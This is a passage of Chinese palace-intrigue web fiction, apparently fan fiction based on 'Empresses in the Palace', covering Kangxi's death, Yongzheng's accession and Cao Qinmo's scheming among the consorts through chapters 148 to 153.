初醒时,已经有暗卫把这几日雍亲王的一举一动都汇报给了康熙。又缓了一会儿精神,才叫了他进来。 “儿子不敢辜负皇阿玛的器重,这是这几日儿子筛选出需要皇阿玛过目的折子。” 胤禛说着,拿起一本就要读。 康熙抬起手无力的挥动两下:“不必了,你做主就是。” 胤禛被老子吓了一跳,赶忙跪在地上表忠心。 “皇阿玛,您只是生病了身体虚弱,儿子万不敢行此等越俎代庖之事。” 康熙没有说话,只是轻飘飘的看了一眼跪在地上的胤禛。好半晌才开口道:“朕的身子,朕心里有数。你这段时日的表现朕都看在眼里,朕属意你继承这皇位。” 胤禛心里大喜大惊之下第一个闪过的念头竟然是府中绮霞苑偏殿那晚,曹格格那意味深长说着【疑邻盗斧】的表情。 ‘没有证据,瞧谁像小偷,谁就是小偷。有了证据,看着那人又是好人了。’ 他顾不上心头的大骇,反而言辞恳切的说道:“皇阿玛洪福齐天,不过是点点病痛,万不可说这丧气的话。儿子观皇阿玛许是躺着心思浮乱罢了,若是皇阿玛不愿为这些朝政伤神,儿子便把兄弟们叫来,为皇阿玛解闷。” 前段时间他亲力亲为,是不想让那些兄弟夺了这表现的机会。 而如今,胤禛看了眼虽然是躺着,但眼神里流露的满意神情的康熙,低头舒了口气。 没有别人能选了,大哥二哥被圈禁,三哥早就失了圣心。最有竞争力的对手老八也被厌恶,老十四被派出去打仗,老十七虽然得了老爷子的爱护,但毕竟出身是个大坎,其余的弟弟们,更是不足为惧。 不过,胤禛神色不变,但脑中的思绪十分复杂。 这位他从不放在眼里的曹格格,也不知道是运气使然,还是心机深沉,总归,这次确实是帮了他大忙。 以他在兄弟们之间的名声,若今日只有他和皇阿玛两人认下这个继承人的位置,怕是不会有人信服的。 想到这里,胤禛的嘴角往下又撇了撇。 看了一眼苏培盛:“雪天路滑啊,记得叫人把这前头再打扫一下。”其实阿哥们都在畅春园待着侍疾,只是前几个争的头破血流的大的被康熙撵了回去,只有老四胤禛在。 苏培盛了然的点了点头,躬身退下后并没有人觉出什么不对。 这段时日雍亲王在皇上身前伺候,这些小节也不放过,属实是心细的紧。 而苏培盛,则是找了个不起眼的小太监,在八爷来的路上,叫野狗拦了一下惊了马,最后一个才到自家老子身边。 其实这两个月前小儿子们都在外头候着,见到自家老子的机会并不多。这段时日唯雍亲王变的炙手可热起来。 “都来了。” 康熙已经没有力气起身了,连靠坐的支撑力都使不出一点。 他混浊的双眼挨个看了过去,没有看到自己心爱的胤礽。 眼神落在后头的胤禛身上一会儿,又划走。 不知道为何,胤禛又突然想起了那只能算的上工整的四个字‘守株待兔’。 “皇阿玛,没有您的旨意,儿子不敢擅自接大哥和二哥出来。只是也派了人去,皇阿玛可要......” 康熙短促的‘呵’了一声:“老四,你倒是长进了。” 甭管着因着什么,这个时候还能记得胤礽,康熙就知足了。 看着满屋子的孩子,康熙突然感到一阵心悸。 他眼前黑了黑,好似听到了哭声。 又经过一天一夜的救治,康熙的状态肉眼可见的灰败下来。 寝殿里跪着大大小小的儿子们,康熙又叫来了马奇,张廷玉和隆科多等人。 “朕之四子,雍亲王胤禛,人品贵重,深肖朕躬,必能克承大统,著继朕登基,即皇帝位。” 康熙一字一句说着,一旁的史官记录在册。康熙看了一眼,接过梁九功递上的帝印和私印,盖在上头。 而后,又不知想起了什么,又拿来了一封空白圣旨,亲自提笔写下传位诏书。 第一排的胤禩胤禟胤俄三人闭了闭眼,再有不甘也都无话可说。当着所有兄弟所有朝中重臣的面,老四的继位已经是板上钉钉的事了。 有了皇上亲书的圣旨,胤禛的心砰砰直跳。 他恭敬的跪地接过,并想起自己无意间提起的那‘株’二哥胤礽。‘兔子’已然抓在了手里,自然要说些敞亮话才好。 “皇阿玛放心,儿子定会照顾好二哥的。” 听着这话,康熙才把眼睛从胤禛身上挪开。 其他的儿子不重要,只要胤礽过的好就可以了。 也许是了却了一桩心事,康熙很快就陷入了更长时间的昏迷中。 一直到大雪铺满了畅春园的屋顶,这位八岁登基生擒鳌拜的康熙帝才再次睁开眼睛。 他四下看了看,只看到了与二儿子眉眼相似的弘皙。 他张了张嘴,却发不出一点声音。 弘皙凑到康熙身边跪下,泪眼婆娑的面容和幼时佯装坚强的保成慢慢重合。 没有留下一句话,康熙就这么结束了自己精彩的一生。 除却失了爹的悲痛和成功的继位的欢喜,胤禛心里还有一丝不着痕迹的庆幸。 庆幸自己在皇阿玛意识清晰的时候反应迅速的叫来了所有兄弟和大臣,保证了自己继位的正统。 而后心思不由得想起了府中有孕在身的曹格格,倒是难得起了一瞬间正视的念头。 第149 章 曹琴默7 雍亲王府。 苏培盛的眉毛和睫毛上都挂了白霜,鼻头也冻的通红,但语气中隐藏深深的激动还是会随着其眼睛泄露两分。 “年侧福晋,先帝驾崩,咱们王爷奉诏继承皇位。这府里,福晋该出来主事了。” 年世兰无悲无喜的表情只一瞬间便被身后的曹琴默捅了一下。 她扯了扯嘴角,佯装痛苦的抹了抹不曾存在的眼泪。 “是,这是皇上的大事。” 同宜院的大门再次打开,还不等宜修行使自己作为福晋的权利时,府里的白和奴才们身上的粗布孝衣已经井井有条的安排了下去。 年世兰披着浅色的大氅站在同宜院的门口,眼里带着淡淡的恶意开口道:“福晋生病,难免对府中的事务有些疏漏。不过本福晋记得清楚,定会一件件,一桩桩,说与福晋听的。” 宜修没有生气,她站在门内,眼神里带了一丝畅快:“好啊,那就劳烦年侧福晋,一一说来了。” 年世兰对于宜修的快乐还是略微有所了解的,她低低的笑了笑,很快恢复了以往的桀骜不驯:“恭喜福晋了,咱们府上的芳格格,有了三个多月的身孕,吕格格也两月多了呢。” 宜修的拳头蓦然捏紧,她死死的控制住自己的眼神和表情,如同一个寻常温和的当家主母一般,露出欣喜和关怀的表象。 “这是好事,可是跟皇上说了?” 年世兰欣赏着宜修较以往进步了许多的演技,但还是能从其身上中闻出一股腐烂发臭的腐朽之味。 “自然,本福晋办事,福晋就放心吧。” 宜修没有计较年世兰的僭越,在她心里,等封后的圣旨传来,她就该知道,这后宫,到底是该谁做主了。 照例安抚了一下众人,那边的胤禛也搬进了养心殿。 并叫苏培盛接了宜修进宫,处理先帝的后妃。 到底是正统继位,这一次连太后都没办法说什么,老老实实的以慈宁宫乃孝庄文皇后曾居所不敢冒犯为由,搬到了隔壁的寿康宫内。 而此时赶回来的胤禵却是不知道详情,在先帝的灵前对皇上有颇深的怨气。 八阿哥只是低头不语,完全不顾十四嚷嚷着什么得位不正的话。 随即,先张廷玉等人起身请出了先帝的遗诏,后有太后乌雅氏的斥责,胤禵不可置信的看向后头不发一言的八哥,连道三声‘好’。 皇上在前头冷眼瞧着,心里头畅快极了。 瞧不上他这个亲哥,也没见着这位好八哥给了胤禵什么好啊!在先帝的灵前,质疑其亲点的继承人的正统。胤禛若不是因着这么多人,都要笑出了声。 登基顺利的胤禛处理起琐事效率很高,很快便下旨给后院女人们一个位分。 宜修满心的期待,却不想皇上的第一封圣旨给了柔则。 ‘纯元皇后’,宜修心里头笑的悲凉又嘲讽,皇上真是一点脸面都不给她留啊。 从前是继福晋,现在是继后。总之,她乌拉那拉宜修永远活在纯元的影子下。 后院人少,胤禛便随手都给定下了位分和封号。 宜修再不情愿这为后第一次使用自己的权利,也不得不含笑妥协。 “侧福晋年世兰,贵妃,封号华,赐居翊坤宫。 侧福晋李静言,妃,封号齐,赐居长春宫。 格格齐月宾,嫔,封号端,赐居延庆殿。 格格费云烟,嫔,封号丽,赐居启祥宫。 格格曹琴默,嫔,封号襄,赐居储秀宫。 格格冯若昭,嫔,封号敬,赐居咸福宫。 格格徐佳娉婷,贵人,封号芳,赐居咸福宫。 格格吕盈风,常在,封号欣,赐居咸福宫。” 皇后看着这一份完全不合心意的册封旨意,脸上的笑意已经摇摇欲坠。 “皇上,年侧福晋的位分是否过于......毕竟无子,恐不能服众啊。” 宜修的脸上一副为了皇上着想的担忧,但被皇上瞧了一眼,停了话。 “不必多说了,世兰因着欢宜香再次小产伤了身子,下红不止,这个贵妃,她当得。” 宜修猛然听到老对手的好消息,差点没有维持好表情。 她只知年世兰不知不觉又流下了一胎,却不知还好运的落下了后遗症。 落红不止好啊,连侍寝都不能够了。看她还能嚣张几时。 她连忙换上一副担忧的表情:“这可如何是好?华贵妃还年轻,好在宫里太医多,皇上莫要忧心,定能医好的。” 皇上现在满心都是愧疚,若不是欢宜香里的马麝太足,他的世兰也不至于如此。 只是皇后却突然转了个话头:“华贵妃自是配位,只是这曹格格,家中最高也不过是从六品的州同,这嫔位,是否太高了?” 胤禛下笔后也有一时间的反悔,但想着曹琴默梦里的霞光万丈和那不知是无心还是有意的三则小文提醒,这个嫔位给的也不算亏。 “世兰不能有孩子了,她最近又宝贝襄嫔肚子里的孩子,一个嫔位而已。”想着太医说襄嫔肚子里是公主,能叫华贵妃移情转换下心思也好。 皇后使劲掐了掐手心:“不若等曹格格生下孩子再晋封,也算是嘉奖。” 皇上抬手制止了皇后的话:“不必了,宣旨吧。” 其实该定下齐月宾为妃的,可年世兰的状况如此,皇上不忍其为这些事烦忧,便压了齐月宾的位份,只给了嫔位。 宜修本想选择承乾宫或者永寿宫居住,但被皇上驳了回来,这才退而求其次的选择了景仁宫。 没想到皇上转头便把年世兰安排在了翊坤宫。这西六宫除了永寿宫都住满了后妃。只她一个皇后住在东六宫里还真是说不上来的心情。 皇后吃了一肚子气,完全忘了自己还想着把有孕的徐佳娉婷挪去碎玉轩的事。 这册封嫔妃的所有位份都出乎了皇后的意料,身旁只有一个没什么脑子的齐妃,皇后无人可用。 曹琴默接了圣旨后,回到屋中烧了几张还未用上的卖惨之语,无声的笑了笑。 不枉她这两个月日日给年世兰提供的看似想念实则卖惨的家信语录。 被放到明面上的小产,不能侍寝彻底断了生育力的年世兰,还有至今为止还没听到得位不正的风言风语。这贵妃和嫔位,也算是一点点回报了。 安顿好了先帝的后妃,挑了个好日子,她们这些人就要奔赴到另一个战场中去。 只是离开前,曹琴默笑着看了眼芳贵人和欣常在两眼。 “娘娘,该您了。” 守灵的日子里,芳贵人和欣常在面色都变的苍白,曹琴默自然知道这两人的胎肯定有宜修的手笔,只是碍于丧仪,她能动的手有限。 曹琴默也趁着这个机会,成功帮年世兰立起一个面冷心热,失去过孩子共情所有孕妇的形象。 别扭的为徐佳娉婷和吕盈风请过两次府医后,这两人便黏上了看上去脾气更好一些的曹琴默。 “还是你有眼光,孕期也好过些。” 徐佳娉婷很得胤禛的喜爱,本对年世兰抱了很大的醋意。可她守灵实在难受时,皇后视而不见,只有年世兰‘呵斥’着施以援手。 “贵妃只是嘴坏些,日子久了你便了解了。虽然过了三个月,但还是要小心着。” 曹琴默的笑容是那样温婉,徐佳娉婷不得不思考:这么一个老实人,是怎么一眼发现专横的贵妃的本质的?难道是老实人的特殊本领? 第150 章 曹琴默8 身份地位的转变带给大家的喜悦是没有计量单位可以形容的。初入宫,谁人不是大包小裹的指挥着宫人布置自己未来的住所。 曹琴默却让身旁的音袖提了一份从府中带来的梅花酥,送到了翊坤宫里。 这食盒小巧却分两层,年世兰看了一眼默不作声的音袖拿起其中一块梅花酥捻了捻。 什么都没有?年世兰有些疑惑。在她心里,曹琴默暴露了本来面目后,就不是一个会无的放矢,没有好处就献殷勤的人。 她不死心的又拿了两块,终于发现了其中一个里面包着小小的纸条。 ‘皇后,权;贵妃,体贴。’ 年世兰扯了扯嘴角,这可真是剜心的复仇局啊!若是可以,她才不想送什么点心,只想送养心殿那个狼心狗肺的东西上西天。 曹琴默自然知道年世兰的不痛快,但那又怎么样呢?她应下的只是保住年羹尧和年世兰而已。至于过程?她可不会大发善心的为年世兰考虑。 颂芝担忧的看了一眼自家小姐,随即轻声道:“娘娘,可要去更衣?” 本以为自家小姐嫁进了一个穷些的福窝窝,没想到却是一个吃人血肉的无底深坑。 可她颂芝不聪明,没办法为小姐做什么。若不是怕连累年家,她和周宁海能一人一把剑把这宫里的人捅个对穿。 “走吧,换身再素些的。顺便多扑点粉。” “是,娘娘。” 颂芝搀着年世兰往内殿走去,年府医的药虽然骗过了雍亲王府的府医和后来请去的妇科圣手,但对身体的损伤也是有些的。这今后,常年不含血色的脸和虚弱漂浮的脚步就是年世兰吃药的代价。 特意捡了身月白色正常身量的宫装,上头只简单用银线绣了些如意云纹。可原先年世兰身量丰腴,现如今空空荡荡的,瞧着便格外可怜些。 头上也并未如以往那般用了复杂华丽的头冠,只戴了素简的钿子,上头的装饰多为份量较轻的绢花和珍珠。 “娘娘,头一层的点心只余了两个,可要拿出来?” 颂芝一边往年世兰的脸上涂些显气色的胭脂,一边开口问道。 “不必了,就这般。” 年世兰犹记得曹琴默的话,不论她送来什么,若是关于皇上,便原封不动的带过去就好。 翊坤宫和养心殿的距离并不远,只是年世兰的身子虚弱,即便是用了暖轿,也颇费了些功夫。 “这暖炉也不顶用,娘娘的手还是凉的。” 俗话说见面三分情,曹琴默叫年世兰在年府医那儿要了狠药,这身子瞧着确实破败了很多,再加上她被仇恨折磨的食不下咽,更是如同一朵失了水的娇花,枯萎的厉害。 只有让皇上亲眼看到曾经明媚张扬的年世兰是如何变的一步三喘,身形消瘦的,才好利用这份愧疚。 “皇上,华贵妃娘娘来了。” 苏培盛倒是因着回府传话见过几面年世兰的样子,却没想到如今更加消弱,看着一风就倒似的。 “快叫她进来。” 不是不愧疚的,但比起自己的江山,这份愧疚便在皇上的心底份量不足让步不提,连犹豫也不过一瞬间的事。 “臣妾给皇上请安。” 饶是被颂芝扶着,年世兰的身形也并不稳当,皇上瞧着心惊,大步上前亲自扶着人坐下。 “朕忙了些日子没有看到你,怎么变的这般虚弱了?” 虽然苏培盛也说了华贵妃如今状态不好,但皇上心里,年世兰就是顶顶娇纵的女子,最多是失血多了虚弱些,没想到已经严重到这般地步。 年世兰的笑容无所谓中又带了些苦涩:“是臣妾的身子不中用。” 说着,年世兰强忍着恶心抬头回望进皇上的眼睛:“不能侍奉皇上,臣妾这个贵妃当得,实在......” 皇上瞧着心里头也不好受,虽然对年世兰的利用成分居多。但不可否认,他对年世兰是有点点真情在的。况且,年世兰是他后院里独一份的热烈。就这般因着一些算计迅速枯萎,真真是叫他舍不得。 而此时,皇上反省的不是自己的歹毒和阴险。而是在怨恨皇后,怨皇后为何在欢宜香里掺了份量如此大的麝香,坏了年世兰的身子。 景仁宫。 “啊切,啊切!” 皇后不停的打喷嚏,吓的剪秋赶紧去叫了太医。 可见背后不说人还是有道理的。 章弥前脚去了景仁宫,后脚养心殿的小夏子来找太医。 没有章弥,便去了江城。 这位已经家人尽在年家的妇科圣手,如今心头有些忐忑。 华贵妃入宫前他们这些太医就受了集训,可自己的家人又在年府。江城的手心在寒冷的冬天呼呼冒着汗,就连后背都泛着潮意。 在江城过来的路上,年世兰亲手给皇上递了一块梅花酥。 “这是府里的厨子做的。” 那厨子还是纯元去了后,他特意从江南挖来善点心的师傅。 皇上拉着年世兰的手,不许她在起身忙叨。 自己捻了一块送进嘴里。 “是,襄嫔有了快六个月的身子,便带了些点心在路上。臣妾在宫里刚坐稳当,她就送来了。想着许久未见皇上了,臣妾也有了理由过来。” “襄嫔,最近怎么样?” 皇上还是没有理出个思绪来,按理说曹琴默这家世,对朝中事应该不得而知才是正常。可她那番话看着确实不像无的放矢。 又看着眼前满眼清澈情爱的年世兰,皇上也不能违着良心说其中有年世兰的功劳。 思来想去,怕也只是归功于曹琴默无比敏锐的洞察力和极具天分的觉悟。 如此,皇上对曹琴默的态度也更为微妙。 理智上来说,这样一位聪慧敏锐又懂分寸的后妃是于他现在而言是无比需要的。 但个人情感来讲,皇上又不愿承认曹琴默的厉害之处,这叫他很是为难。 “还不是那样,也不知道咱们府里的下人是不是因着您不在便疏忽了不少,不是昨儿个东小院有冰,便是今儿个小花园里有水。若不是因着是臣妾管家,臣妾才不管她们。” 皇上从年世兰的硬气中看出一丝脆弱,那是对几个有孕之人的羡慕之情。 他摸了摸年世兰的肩膀:“世兰做的很好。朕有世兰很放心。” 应当是符合曹琴默所说的深情阈值了,年世兰已经在思考如何脱身时,江城终于到了。 把了脉,无非还是伤身的说法,皇上瞧着江城的神色,便叫人把年世兰送回了翊坤宫。 “世兰先回去,朕这里还有事要忙。等过了这一阵,朕去看你。” 年世兰一步三回头的走了,皇上立刻换了一副神情。 “你仔细说来。” 江城这才说了实话:“皇上,麝香活血化瘀,娘娘用了这么久,又因着这次小产发现的不及时,已然是伤了根本。这下红之症并不是小病,很有可能影响娘娘的寿命。” 皇上手里的笔尖顿住,很久不曾动弹。 养心殿里安静的只有那落地的西洋钟在发出声音。 “好好治,什么好的都用上。” 皇上也没有想到,只是为了防止年家心大生异,就这么白白夺了年世兰不知道多少年的寿数。 “对了,欢宜香撤了,就说跟她用的药药性相冲。” 看着年羹尧又在问贵妃安的折子,皇上感到一阵头痛。 第151 章 曹琴默9 “我要去杀了这个狗皇帝!” 年羹尧兴致冲冲的回到家里,以为能迎接他的是家人的鼓励和欢喜,没想到映入眼帘的是一张张愁眉苦脸的面容。 “这是怎么了?” 年羹尧挠了挠头,他可是从龙之功的重臣了,难道不是为他们老年家挣了光吗?怎么还这般模样?难不成是他在四川抢了女人的事传来了?那也不至于吧? 逛窑子?这家里知道啊?霸占了农女?他给钱了啊,不至于告到京里吧? 思来想去,年羹尧的脸色也跟着似调色盘一样,一家人撺不出一个好脸色。 “跟我来。” 年遐龄率先开口,带着不着调的二儿子来到书房。 看着还是懵懂的年羹尧,年遐龄犹觉得不安。便拧开了年家唯一的一个地窖入口。 年羹尧此时背后发凉,到底自己做了什么?要挨这么大的打吗?惨叫声得需要地窖遮掩了!? 可惜等二人出来,年羹尧宁愿是自己惹了风流债被抽了鞭子,也不愿接受自家千疼万疼的小妹,落的这般境地。 “我要去杀了他。” 年羹尧没有再喊,只是平静又疯癫的说道。 年遐龄看着年羹尧:“你要你小妹的命吗?” 年羹尧闭上眼睛,一向奉行流血不流泪的汉子控制不住身体的颤抖,蹲在地上哭的背过气去。 年遐龄没有安慰他,他的脑子割裂般的冷静。 他不后悔同意年羹尧上战场厮杀,他们年家保卫的是大清。但,他也不是不恨。可造反?年遐龄想都没想过。就是因为同意年羹尧上战场,才更了解百姓的艰苦。 年遐龄也恨自己这多思的脑子,可他也得认,宫里头那位贵人说的对,年世兰是此番最无辜的一个人。他们不能叫年世兰的名声受到一点污蔑。 就算是年家一将功成又怎样呢?后世也只会说年世兰是祸水。年遐龄忠君不迂腐,从古至今,凡是沾点边的女人,都没什么好名声。年遐龄不能叫年世兰百年后也不得安宁。 “好了,宫里头还有位襄嫔,与我们做了交易。” 年遐龄哑着嗓子,将喉咙里烧灼的哽咽咽回心底。 两个人又回到地窖商量一番,年羹尧的心绪才稳定了些。 “襄嫔要的不多,有世兰在足以。只不过你,要注意了。不能改变的太大,也不能一成不变。儿啊,就算是为了你小妹,忍一忍。” 年羹尧此时恢复了冷静,他冷笑着应了下来:“无妨,儿子能忍。那位襄嫔可不是什么善男信女。这狗皇帝的后宫,还有的热闹。” 而此时的紫禁城,确实如年羹尧预料一般,热闹的很。 “娘娘叫我带了太医来看你。” 曹琴默早在入主储秀宫第一天,就全部换上了年世兰撒银子贿赂好的侍卫,宫里头的宫人大部分也是年世兰亲自安排的。 乘坐的轿辇,抬轿的侍卫,储秀宫的小厨房,全是走的年世兰的账面。 皇后根本插不进去手,不过她也不着急,左右是个公主,生下来就生下来吧。 所以皇后盯上的,是欣常在和芳贵人的肚子。 可惜芳贵人这次没有如愿被扔到偏远的碎玉轩,反而进了主位是敬嫔的咸福宫。这样一来,皇后有许多手段都有些不好施展。毕竟敬嫔虽然老实,但并不傻。 没有了那埋在树下的麝香,皇后便在路面上使坏。好在咸福宫常熙堂的二等宫女禾柳是年世兰的人,愣是扶住了要滑倒的徐佳娉婷,保住了这个孩子。 曹琴默带来的江城除了在欢宜香上有所隐瞒,其余的跟主子倒是一条心。 “芳贵人的胎还算安稳,只是体内隐有麝香的痕迹,怕是不能保到足月生产了。” “麝香?” “麝香?” 曹琴默和芳贵人的表情一样震惊害怕,倒是让芳贵人直接撇出了华贵妃的嫌疑。 她的脑子就那么大点,很快就在曹琴默的暗示中认准了皇后。 “妹妹,咱们没有证据。你这般平白的去告一国之母,即使皇上相信,也不会怎样的。” 曹琴默苦口婆心的样子像极了家中慈爱的嫂嫂,徐佳娉婷哇的一声哭倒在了曹琴默怀里。 “就哭这么一阵,妹妹的胎像本就不稳,一切要为腹中的小皇子考虑啊!” 芳贵人半晌停止了抽噎,在曹琴默半是怜惜半是无奈的神情中道:“我不会就这么放过她的!即使我是个小小的贵人又怎么样!有我徐佳娉婷一日,就不会叫她安宁。要不了她的命又怎样,总不会让她好过了的!” 曹琴默有些气急的哄着:“你呀,还是要顾及着自己知道吗?万事不可冲动。毕竟那位是......你这言语僭越就罢了,若是真动了什么手,怕是皇上也保不住你。” 徐佳娉婷若有所思:言语僭越皇上就保得住了?原来是这样。 曹琴默:闹吧,都闹起来。 景仁宫。 “哦?她果真这样说?” 皇后笔下的“钟鸣岁月流”几个字越发得飘逸,虽然后位有些小瑕疵,但瑕不掩瑜,如今母仪天下的,是她乌拉那拉宜修。 “是,这襄嫔看起来聪慧,但也和华贵妃一样,没什么能用的上台面的手段。” 剪秋的表情有些嫌弃,又夹杂着些得意。 皇后不急芳贵人知道了麝香的事,府中经手的人都处理了干净。况且,后头那几个月都是年世兰在管家,就算是问责,也到不了她头上。 曹琴默那隐隐晦晦的挑拨皇后根本不放在眼里,芳贵人,不足为惧。 这也是曹琴默预料之中的事情,她并不是要用徐佳娉婷真正给皇后一击。她只是在搅和这潭水,并摘去潜邸时原身隐约露出锋芒过阴暗的聪慧。 皇后的手段虽然大部分靠太后扫尾,但对付甄嬛和对付曾经的华妃,显然不是一个等级。 毕竟,在皇后心里,年世兰就是个不聪明又嚣张的蠢货。而甄嬛的聪明,皇后心里头也是认同的。 对付蠢货的手段,皇后便带了些高高在上的不经心,曹琴默需要的,就是皇后这份不经心带来的,无数的小尾巴。 有了芳贵人这个蠢货的信任,曹琴默的行事便更为低调谨慎。 她看似无毒无害的样子,甚至偶尔还会“蠢呵呵”的为‘嘴硬心软’的年世兰收拾‘烂摊子’。 皇上观察了许久,十分受用其聪慧但又诚挚的情谊,除却翊坤宫,储秀宫是第二个迎来皇上亲临的宫殿。 “朕问了太医,你养的不错,朕近日忙着没有得空看你,便带了些首饰布料。” 曹琴默打眼看去,珠光宝气熠熠生辉,衬得这正殿都跟着明亮了两分。 “臣妾只是做了一个母亲该做的罢了,当不得皇上厚赏。” “你为自己上心,还操心着华贵妃,这份赏赐你担得。” 年世兰的别扭皇上都懂,无非是既吃醋又羡慕。所以对其她有孕的宫妃态度拧巴了些。好在曹琴默是个知恩图报又聪慧的。两人在宫里倒是为他省了不少事。 对比起毫无作为的皇后,皇上真是越想越觉得皇后不堪大用。 曹琴默倒不这么觉得,皇后的用处可大着呢。 第152 章 曹琴默10 正值先帝孝期,今年的除夕便囫囵着过去。皇上因着宫中孕妇多危很是迁怒于皇后,便也没有顾忌她的面子,除夕和初一都是在翊坤宫过的。 曹琴默怕年世兰忍不住恨意露出端倪,便给她想了个既能出气又不着痕迹的方法。 皇上嗜甜,但因着年岁大了太医总不叫用过量的甜品。年世兰便写信叫年羹尧从江南处挖来了两个大厨。其二人做的菜甜而不腻,精致漂亮的江南细雨风摆盘在一众碗盘中如鹤立鸡群般的存在。 “皇上尝尝这个。” 年世兰给皇上夹了一筷子糯米藕,被雕刻成花瓣形状的藕片夹着软绵的糯米,浸满了香甜的糖水,只一口便得了皇上的喜爱。 “世兰这里的厨子自是没得挑。” 年世兰笑了笑,看着皇上一口接一口的把一小碟糯米藕吃了个精光,嘴角微微上扬。 “皇上也知道,臣妾自身子不爽后便没什么食欲。上个月皇上赏了一份龙眼甜烧白,臣妾倒是多用了两口。便一直惦记着,正好哥哥送了体己过来,颂芝就提了一句,这不,哥哥就记下了。” 皇上看了眼空荡荡的碗碟,有些不好意思的挠了挠头:“是朕不好,抢了世兰的吃食。” 年世兰轻轻摇了摇头,耳边的小米珠流苏耳坠荡啊荡,一把抓住了皇上的视线。 可惜,皇上咂了咂嘴,世兰这么美好的一个人,便只能远观了。 “臣妾不能侍奉皇上,心中实在难过。能得皇上的喜爱,世兰已经很满足了。” 这样一个满心满眼都是自己的贵妃,因着自己的心思失了明艳的贵妃,皇上哪里舍得说一句重话。不就是年家送来两个厨子吗?送二十个也行啊! “世兰何苦说这些,便是就这般陪着你,朕也舒坦。” 帝妃情深时,皇上每日用的糖分早已超标。开始逐渐有了牙疼之兆。 而另一边的曹琴默已经成功打入了咸福宫的内部。她并没有提起过年世兰,也没有拉拢咸福宫的三人,只是偶尔拿些布料和丝线,叫了芳贵人和欣常在一同做些小衣服。 敬嫔头先还有防备,毕竟在潜邸时曹琴默就是华贵妃身边的人。虽然如今华贵妃因着生病不曾再磋磨过嫔妃,但到底被折磨过几年,敬嫔并不喜欢曹琴默。 曹琴默也不恼,她只是维持了和敬嫔的面子情,点头间有个笑脸罢了。毕竟她接下来要做的事,可不会得了敬嫔的好脸。 这个冬日对于芳贵人和欣常在来说似乎过的格外漫长。皇后在整理好所有物什后便开始了每日的晨昏定省。 若说有什么事情要说也就罢了,偏偏都是潜邸的老人,互相能说上话的也没有几人,在景仁宫里一坐便是半个时辰,如齐妃和敬嫔还好。 曹琴默,芳贵人和欣常在三位孕妇可受不了一点。 她向来不是个隐忍的,虽在低位,但她也不会委屈了自己。 看了一眼空着的华贵妃之位,曹琴默垂眸不语,只等着接下来的好戏。 “皇上,翊坤宫又请了太医。” 苏培盛看着皇上下了早朝,连忙上前说道。这翊坤宫的华贵妃如今就是皇上心里顶天儿的存在,一有个风吹草动的,苏培盛都恨自己只有两条腿。 “怎么又请了太医?” 皇上听闻连朝服都没换下来,直接往翊坤宫走。 曾经一进入年世兰的地盘范围便是馥郁的欢宜香,如今还未进大门,便是弥漫着苦涩的药汤子味儿。 “皇上驾到。” 苏培盛喊的没有皇上走的快,话音落下时皇上已经进入到正殿里。 “奴婢/奴才给皇上请安。” 皇上的衣摆从颂芝的面前甩过,颂芝在心里呸了一声。现在装什么深情在乎了,毁了她们小姐的身子的狗皇帝! “世兰。” 皇上坐在床边,看着面色苍白的年世兰心疼的脸都皱了起来。 “皇上怎么来了?” 年世兰面色苍白,眼眶泛着不正常的血红。 “朕来看看你,到底怎么回事?怎么伺候你家娘娘的?” 守着的宫女又跪了一地,年世兰没有说话,只拉了拉皇上的衣袖。 一旁的江城擦了擦汗,顶着皇上看垃圾一样的眼神连忙道:“娘娘这是心思郁结,导致的气血上涌昏厥,只要娘娘放宽心就好。” 打发走了江城去熬药,皇上拉着年世兰的手温声哄着:“这是怎么了?谁又气你了?” 年世兰瞪了皇上一眼:“没人气臣妾,臣妾就是觉得自己没用。” “这是什么话?!” 皇上环顾了一圈,想找出到底是谁在华贵妃面前嚼舌根子。 “臣妾这样子,今后定是没有孩子了。如今千期万盼的等着襄嫔的公主。这两日襄嫔的肚子不适,臣妾也毫无办法,臣妾真是没用,保护不了自己的孩子,也保护不了襄嫔的孩子。” 说着,年世兰扭过身,肩膀微微抖动。 皇上探过身,也不顾自己扭着老腰,拿帕子给年世兰拭泪。 “胡说,咱们世兰最厉害。襄嫔怎么了?怎么没人跟朕说。” 颂芝掐着一把嫩嗓语气里也满是不满的 告状:“襄嫔娘娘这几日晨昏定省回来总是腰酸肚子紧,太医说了要静养安胎,但是皇后娘娘依旧叫着去请安,我们娘娘没办法,只能自己生闷气。” 皇上皱了皱眉:“荒唐!” 他简直被皇后要气死了,自登基后宗亲的对牌全拒了不说,连后宫都维护不好,要她何用! “传朕旨意,即日起,襄嫔便不用去请安了。另,赐华贵妃协理六宫之权。” 年世兰扭过身子也不谢恩,皱着眉不情愿的样子:“臣妾这模样,怎么协理六宫,被那些人看到,臣妾还有没有面子了!” 皇上笑着拍了拍年世兰:“手头没有权利,被欺负了又自己生闷气。你若精力不济,朕便给你个嬷嬷一同管着。总好过你自己个儿憋着强。” 年世兰心里冷笑,但又似是被一双大手攥着一样发疼,曹琴默可真是算无遗策啊。这协理六宫之权她本要直接要的,可曹琴默却按下了她蠢蠢欲动的手。 “娘娘,要来的东西,始终没有皇上亲自捧给您的香。与其以妾室名头要了宫权却担了皇上的猜忌,不若叫皇上双手奉上,来的踏实。” 不过景仁宫的几个露面和一场不值钱的眼泪,曾经想要的便轻而易举的来到她的手里。 年世兰维持着自己傲娇又开心的表情敷衍着皇上,心里却割裂般的想着襄嫔,还想要什么。 曹琴默还想要什么?自然,是芳贵人肚子里的孩子了。 “妹妹不若求了皇上,也休养一阵子吧。” 曹琴默只着了梧枝绿的素雅宫装,苍白着脸靠在迎枕上,却还是担忧的劝说着对面的芳贵人。 芳贵人也觉得不爽利,但每日对皇后说些酸言酸语是她唯一报复的渠道。就连皇上也只说了叫她注意分寸,并没有制止。这何尝不是一种支持呢?反正芳贵人是这么想的。 “妹妹身子还好些,挺得住,襄姐姐不必担忧。” 芳贵人虽是满人,但家世并不出众,只是那一把好嗓子叫皇上惦念着,总有一分情谊在。 况且肚子里有‘免死金牌’,脑子已经跟剧中怀孕的富察差不多了。 “你自己还是要小心,每日里请了太医看看才好。” “放心吧襄姐姐,我心里有数呢。” 看着芳贵人一脸骄傲的样子,曹琴默真想问她:你的数在哪呢? 第153 章 曹琴默11 “皇后娘娘这里没有蜜水吗?嫔妾有孕不能喝茶水,皇后娘娘不知道吗?” “这景仁宫有些闷了,皇后娘娘恕罪,嫔妾这月份大了,越发怕不透气的地方呢。” “皇后娘娘到底是端庄雍容呢,这绛紫色的衣裳啊,嫔妾就驾驭不来,皇上说衬着嫔妾都老了十岁呢!” 芳贵人稳定输出,每天都把皇后气的头晕眼花。 